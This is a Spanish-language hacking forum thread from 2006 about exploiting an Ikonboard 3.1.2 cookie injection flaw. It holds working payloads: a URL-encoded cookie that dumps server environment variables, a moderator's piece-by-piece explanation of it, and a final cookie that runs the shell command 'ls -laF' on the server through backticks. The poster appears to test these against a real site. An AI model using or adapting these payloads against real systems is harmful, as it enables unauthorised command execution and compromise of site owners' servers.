elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 04:39  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  ikonboard 3.1.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ikonboard 3.1.2  (Leído 1,472 veces)
kalua

Desconectado Desconectado

Mensajes: 3


Ver Perfil
ikonboard 3.1.2
« en: 27 Julio 2006, 19:51 »


Hola:
Hay un exploit para ikonboard 3.1.2 el cual se hace mediante la cookie:

http://archive.cert.uni-stuttgart.de/archive/bugtraq/2003/09/msg00256.html
arbitrary command execution vulnerability

aqui envio una cookie con valor:
.%00"if print("Content-type: text/plain ",map"$_ => $ENV{$_} ",keys%ENV)&&exit;#
pero en forma de url encode como dice el texto:

%2E%00%22if%20print%28%22Content%2Dtype%3A%20text%2Fplain%0D%0A%0D%0A%22%2Cmap%22%24_%20%3D%3E%20%24ENV%7B%24_%7D%0A%22%2Ckeys%25ENV%29%26%26exit%3B%23

esto me funciona , el sitio me devuelve las variables enviroment .
Ahora, quiero enviar commandos como pwd o ls pero no encuentro la forma.

he tratado añadiendo comandos obteniendo diversos errores:
.%00"if print("Content-type: text/plain ",map"$_ => $ENV{$_} ",keys%ENV)&&pwd;#
.%00"if print("Content-type: text/plain ",map"$_ => $ENV{$_} ",keys%ENV)&&exit;echo;pwd;#

me da error:
Could not access the language file: Bareword "pwd" not allowed while "strict subs" in use

.%00"echo;pwd;#
Could not access the language file: syntax error
This error was reported at: (eval 8) line 1, near ""." Bareword "pwd" not allowed while "strict subs" in use

.%00echo;pwd;#
. did not return a true value

Ya pase horas tratando de hacerlo.
Agradeceria mucho si alguien que ha usado este exploit me echara una mano en eso.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: ikonboard 3.1.2
« Respuesta #1 en: 28 Julio 2006, 02:02 »

No entendiste el exploit, estos son bugs de CGI.. muy divertidos, y raros de ver.

.%00"if print("Content-type: text/plain ",map"$_ => $ENV{$_} ",keys%ENV)&&exit;#

Código:
.%00"
es para terminar la cadena.

Código:
if print("Content-type: text/plain ",
manda la cabecera

Código:
map"$_ => $ENV{$_} ",keys%ENV)
manda las variables de entorno

Código:
&&exit;#
termina el programa, y comenta el resto de la linea.

debes investigar sobre CGI :P

Saludos!!
En línea

kalua

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: ikonboard 3.1.2
« Respuesta #2 en: 31 Julio 2006, 06:55 »

gracias sdc, despues de dias intentando ya encontre como enviar comandos.
Ejmplo ls -laF

esta cookie nos dara el listado de directorios:
lang=.%00"if print("Content-type: text/plain ",`ls -laF`)&&exit;#

 :D :D :D :D :D

En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines